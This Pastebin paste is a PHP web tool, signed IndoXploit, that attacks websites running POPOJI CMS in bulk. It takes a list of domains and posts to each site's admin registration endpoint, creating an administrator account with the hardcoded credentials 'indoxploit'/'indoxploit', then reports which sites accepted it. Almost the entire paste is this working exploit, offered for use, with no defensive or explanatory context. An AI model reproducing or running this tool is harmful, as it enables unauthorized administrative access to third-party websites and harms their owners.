Advertisement
AgusSR

POPOJI CMS Add Admin Auto Registration

Jul 31st, 2016
2,971
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.46 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>POPOJI CMS Add Admin Auto Registration</title>
  4. <meta name="author" content="IndoXploit">
  5. <style type="text/css">
  6. html {
  7.     margin: 20px auto;
  8.     background: #000000;
  9.     color: #ffffff;
  10. }
  11. header {
  12.     color: lime;
  13.     font-size: 35px;
  14.     margin: 10px auto;
  15.     text-align: center;
  16.     text-decoration: underline;
  17. }
  18. input[type=text] {
  19.     border: 1px solid #008000;
  20.     color: #bb0000;
  21.     width: 500px;
  22.     height: 20px;
  23.     padding-left: 5px;
  24.     margin: 5px auto;
  25.     background: transparent;
  26. }
  27. input[type=submit] {
  28.     border: 1px solid #008000;
  29.     color: #bb0000;
  30.     background: transparent;
  31.     width: 500px;
  32. }
  33. textarea {
  34.     background: transparent;
  35.     color: #bb0000;
  36.     border: 1px solid #008000;
  37.     resize: none;
  38.     width: 500px;
  39.     height: 250px;
  40.     padding-left: 5px;
  41.     margin: 5px auto;
  42. }
  43. a {
  44.     text-decoration: none;
  45.     color: lime;
  46. }
  47. a:hover {
  48.     text-decoration: underline;
  49. }
  50. </style>
  51. </head>
  52. <?php
  53. set_time_limit(0);
  54. error_reporting(0);
  55.  
  56. function dav($url, $post=null) {
  57.     $ch = curl_init();
  58.           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  59.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  60.           curl_setopt($ch, CURLOPT_URL, $url);
  61.           if($post != null) {
  62.             curl_setopt($ch, CURLOPT_POST, true);
  63.             curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  64.           }
  65.           curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  66.           curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  67.           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  68.           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  69.           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  70.           curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HHTP_USER_AGENT']);
  71.           curl_setopt($ch, CURLOPT_HEADER, 0);
  72.     return curl_exec($ch);
  73.           curl_close($ch);
  74. }
  75.  
  76. $sites = explode("\r\n", $_POST['url']);
  77. $user = "indoxploit";
  78. $pass = $user;
  79. $email = htmlspecialchars($_POST['email']);
  80. if($_POST['hajar']) {
  81.     echo "<span style='font-size: 25px; text-decoration: underline; color: lime; margin-bottom: 20px;'>Result Gannnnn</span><p>";
  82.     if(!filter_var($email, FILTER_VALIDATE_EMAIL) === false) {
  83.         foreach($sites as $url) {
  84.             if(!preg_match("/^http:\/\//", $url) AND !preg_match("/^https:\/\//", $url)) {
  85.                 $url = "http://".$url;
  86.             } else {
  87.                 $url = $url;
  88.             }
  89.             echo "[+] Nyecan -> $url<br>";
  90.             $post_register = array(
  91.                 "username" => $user,
  92.                 "email" => $email,
  93.                 "password" => $pass,
  94.                 "re-password" => $pass,
  95.                 );
  96.             $register = dav("$url/po-admin/actregister.php", $post_register);
  97.             echo "[+] Register ";
  98.             if(!preg_match("/404|headers already sent|disabled for security reasons|Please type another email!/", $register) AND preg_match("/SUCCESS!!!|>Check your email for next step. Thank you!/", $register)) {
  99.                 echo "<font color=lime>OK!</font><br>";
  100.                 echo "[+] <font color=gold>Cek emailmu buat aktivasi</font><br>";
  101.                 echo "[+] u/p: <font color=lime>$user</font><br><br>";
  102.                 $post_login = array(
  103.                     "username" => $user,
  104.                     "password" => $pass,
  105.                     );
  106.             } else {
  107.                 echo "<font color=red>Gagal!</font><br><br>";
  108.             }
  109.         }
  110.     } else {
  111.         echo "<font color=red>Emailmu ga valid bosss, email harus valid biar bisa masuk token registrasinyaa.</font>";
  112.     }
  113. } else {
  114. ?>
  115. <center>
  116. <header>POPOJI Auto Registration</header>
  117. <form method="post">
  118. Email: <br>
  119. <input type="text" name="email" value="trciksterlicikarus@gmail.com" placeholder="email@asu.com" required><br>
  120. Domains: <br>
  121. <textarea name="url"></textarea><br>
  122. <input type="submit" name="hajar" value="Xploit!">
  123. </form>
  124. </center>
  125. <?php
  126. }
  127. ?>
  128. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement